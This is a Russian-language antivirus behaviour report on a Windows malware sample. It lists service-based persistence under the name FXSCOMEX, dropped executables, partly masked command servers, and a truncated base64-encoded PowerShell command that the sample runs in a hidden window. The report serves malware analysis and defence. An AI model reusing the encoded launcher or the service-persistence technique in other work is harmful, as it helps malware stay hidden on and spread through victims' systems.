Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [<HKLM>\System\CurrentControlSet\Services\FXSCOMEX] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\FXSCOMEX] 'ImagePath' = '"%WINDIR%\SysWOW64\wshcon\FXSCOMEX.exe"'
Создает следующие сервисы
- 'FXSCOMEX' "%WINDIR%\SysWOW64\wshcon\FXSCOMEX.exe"
- 'FXSCOMEX' %WINDIR%\SysWOW64\wshcon\FXSCOMEX.exe
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGkAdABlAGIANgA4AD0AKAAnAFgAOQAnACsAKAAnAHYAdwB5AGwAJwArACcAMgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdABFAG0AcABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAG...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\word\2019\qp4_r4.exe
Удаляет следующие файлы
- %WINDIR%\syswow64\wshcon\fxscomex.exe
Перемещает следующие файлы
- %TEMP%\word\2019\qp4_r4.exe в %WINDIR%\syswow64\wshcon\fxscomex.exe
Сетевая активность
Подключается к
- '98.##.75.196':80
- '91.##1.54.71':8080
- '20#.#36.123.42':8080
- '89.##.150.160':8080
- '21#.#1.237.140':8080
- '51.##5.165.160':8080
- '18#.#35.15.49':80
- '18#.#.177.210':443
TCP
Запросы HTTP GET
- http://te##lh.com/list/f/
- http://hz##chi.com/css/ia8/
Запросы HTTP POST
- http://18#.#.177.210:443/gkSucbi/aeWZIC/ via 18#.#.177.210
UDP
- DNS ASK te##lh.com
- DNS ASK hz##chi.com
Другое
Создает и запускает на исполнение
- '%TEMP%\word\2019\qp4_r4.exe'
- '%WINDIR%\syswow64\wshcon\fxscomex.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABYAGkAdABlAGIANgA4AD0AKAAnAFgAOQAnACsAKAAnAHYAdwB5AGwAJwArACcAMgAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdABFAG0AcABcAHcAbwBSAGQAXAAyADAAMQA5AFwAIAAtAG...' (со скрытым окном)
